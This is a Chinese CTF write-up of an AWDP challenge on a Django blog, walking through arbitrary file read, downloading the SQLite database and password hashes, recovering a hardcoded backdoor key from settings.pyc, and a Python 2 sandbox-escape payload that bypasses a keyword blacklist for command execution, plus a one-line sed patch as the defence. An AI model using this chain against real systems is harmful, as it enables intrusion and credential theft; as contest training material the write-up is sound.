#
AWDP
#
Django-Blog
一个Django框架的Blog
Python 版本2.7.17
DJANGO 版本1.8.4
http://10.10.1.100:114514/detail_show/banner
detail_show 目录回退 + 任意文件读取
下载SQLITE数据库
/home/ctf/db.sqlite3
1
2
3
|
curl http://10.10.1.100:114514/detail_show/db.sqlite3 > CCB.db
sqlite3 CCB.db
Select * from auth_user;
|
拿到如下Hash,拿去HashCat跑下字典能出密码为goldfish
1
2
|
1|pbkdf2_sha256$20000$m75uXPxpjnBe$9m1bkR0m/htBIIrZWXjpVJTtcQwrWnV3toc8vTtEYKg=|1|test|||test@gmail.com|1|1|2025-02-06 02:31:00|2025-02-08 04:48:44.864708
2|pbkdf2_sha256$20000$2kPOdwUyDkPH$zKM3be0X6LPaT7GL6jGc5scWlrwQrjBfgw+EnAqv9hU=|1|allan|||allan@gmail.com|1|1|2025-02-07 05:06:00|2025-03-16 01:23:02.550102
|

可以用 allan 账户登录登录后台

有一个代码模块,审计前端代码可以看到当按下 Ctrl Enter 发POST请求到后端执行代码
/admin/bootstrap_admin_web/execute/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
<script>
var editor = CodeMirror.fromTextArea(document.getElementById('id_source'), {
mode: {
name: "python",
version: 2,
singleLineStringErrors: false
},
lineNumbers: true,
indentUnit: 4,
tabMode: "shift",
matchBrackets: true,
extraKeys: {
"Cmd-Enter": function(instance) {
executeSource();
return false;
},
"Ctrl-Enter": function(instance) {
executeSource();
return false;
}
}
});
if (navigator.platform.search('MacIntel') >=0) {
django.jQuery('#id_execute').text('Execute (Cmd+Enter)');
}
var webshellEditor = django.jQuery('#id_output'),
csrf_token = django.jQuery('input[name="csrfmiddlewaretoken"]').val();
function executeSource(){
webshellEditor.text('Executing...');
django.jQuery.post('/admin/bootstrap_admin_web/execute/',
{'source': editor.getValue(), 'csrfmiddlewaretoken': csrf_token},
function(response){
webshellEditor.text(response);
hljs.highlightBlock(webshellEditor.get(0));
}
);
}
</script>
|
执行代码提示需要 magic_key 才能执行
因为开了debug模式
随便让页面报错,可以知道项目名为 myblog
DJANGO 结构又有 settings.pyc
继续任意文件下载 /myblog/settings.pyc
反编译pyc 拿到Key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Embedded file name: django-blog\myblog\settings.py
# Compiled at: 2025-02-20 16:17:14
import os
BASE_DIR = os.path.dirname(os.path.dirname(__file__))
SECRET_KEY = '-4h^=1iym8*i10$%zt^@^lv02hk4-jzq5ucspu$2czf71175c8'
MAGIC_KEY = 't3sec2025'
DEBUG = True
ALLOWED_HOSTS = [
'*']
INSTALLED_APPS = ('bootstrap_admin', 'bootstrap_admin_web', 'django.contrib.admin',
'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions',
'django.contrib.messages', 'django.contrib.staticfiles', 'article')
BOOTSTRAP_ADMIN_SIDEBAR_MENU = True
MIDDLEWARE_CLASSES = ('django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware')
ROOT_URLCONF = 'myblog.urls'
TEMPLATES = [
{'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [
os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {'context_processors': [
27,
28,
29,
30,
31,
32]}}]
WSGI_APPLICATION = 'myblog.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3',
'NAME': (os.path.join(BASE_DIR, 'db.sqlite3'))}}
LANGUAGE_CODE = 'zh-Hans'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATIC_URL = '/static/'
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'),)
# okay decompiling .\settings.pyc
|
拿去执行,发现有过滤,Python2 不吃Unicode绕过,但让代码报错可以看到文件路径

继续任意文件下载获取源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
#coding: utf-8
import sys
import traceback
from contextlib import contextmanager
try:
from StringIO import StringIO
except ImportError:
from io import StringIO
from django.http import HttpResponse
from django.views.decorators.http import require_POST
from django.contrib.auth.decorators import permission_required
from. lib import sandbox_exec
@contextmanager
def catch_stdout(buff):
stdout = sys.stdout
sys.stdout = buff
yield
sys.stdout = stdout
@require_POST
@permission_required('is_superuser')
def execute_script_view(request):
buff = StringIO()
back_door = request.POST.get('magic_key', default='')
if back_door == "t3sec2025":
try:
buff.write(sandbox_exec(request.POST.get('source', '')))
except:
traceback.print_exc(file=buff)
else:
buff.write("这是一个高级功能,只有携带magic_key才能执行命令。")
return HttpResponse(buff.getvalue())
|
可以看到 有以下过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
import sys
output = ""
# hook print for easy game
class redirect:
content = ""
def write(self, content):
global output
output = ""
self.content += content
output = self.content
def flush(self):
self.content = ""
def _sandbox_filter(command):
blacklist = [
'object',
'exec',
'sh',
'__getitem__',
'__setitem__',
'import',
'=',
'open',
'read',
'sys',
';',
'os',
'tcp',
'`',
'&',
'base64',
'flag',
'eval'
]
for forbid in blacklist:
if forbid in command:
return forbid
return ""
def sandbox_exec(command):
global output
output = ""
result = ""
sys.stdout = redirect()
flag = _sandbox_filter(command)
if flag:
result = "Found {}".format(flag)
result += '<br>REDACTED'
else:
exec(command)
if result == "":
result = output
return result
|
#
防御
/usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py 里硬编码
if back_door == “t3sec2025”
所以 update.sh 这样写就能防御通过
1
2
3
|
#!/bin/bash
sed -i s#t3sec2025#s1eeps0rt#g /usr/local/lib/python2.7/dist-packages/bootstrap_admin_web/views.py
|
#
攻击
1
|
__builtins__['__imp'+'ort__']('commands').getoutput('ls />/tmp/a')
|
使用 builtins
字符串拼接 import 使用dict 绕过
导入 commands 模块
使用 commands.getoutput() 函数来RCE
可以用重定向堆叠的方式绕过 sh , 之类的过滤将执行结果写入文件
结合任意文件读取实现命令执行回显
然后AWDP赛中的时候平台Checker 炸了,队友的Pwn Check 一次能卡半个小时,交不上去,直到结束也没能成功
赛方画饼公告说正在研究解决方案,当然大家都知道也不可能有啥解决方案。

下午渗透和队友们嗯造出了几台靶机最后也没进决赛,喜提一个二等安慰奖。
从来没觉得打CTF开心过 收收心回家摊鸡蛋灌饼了。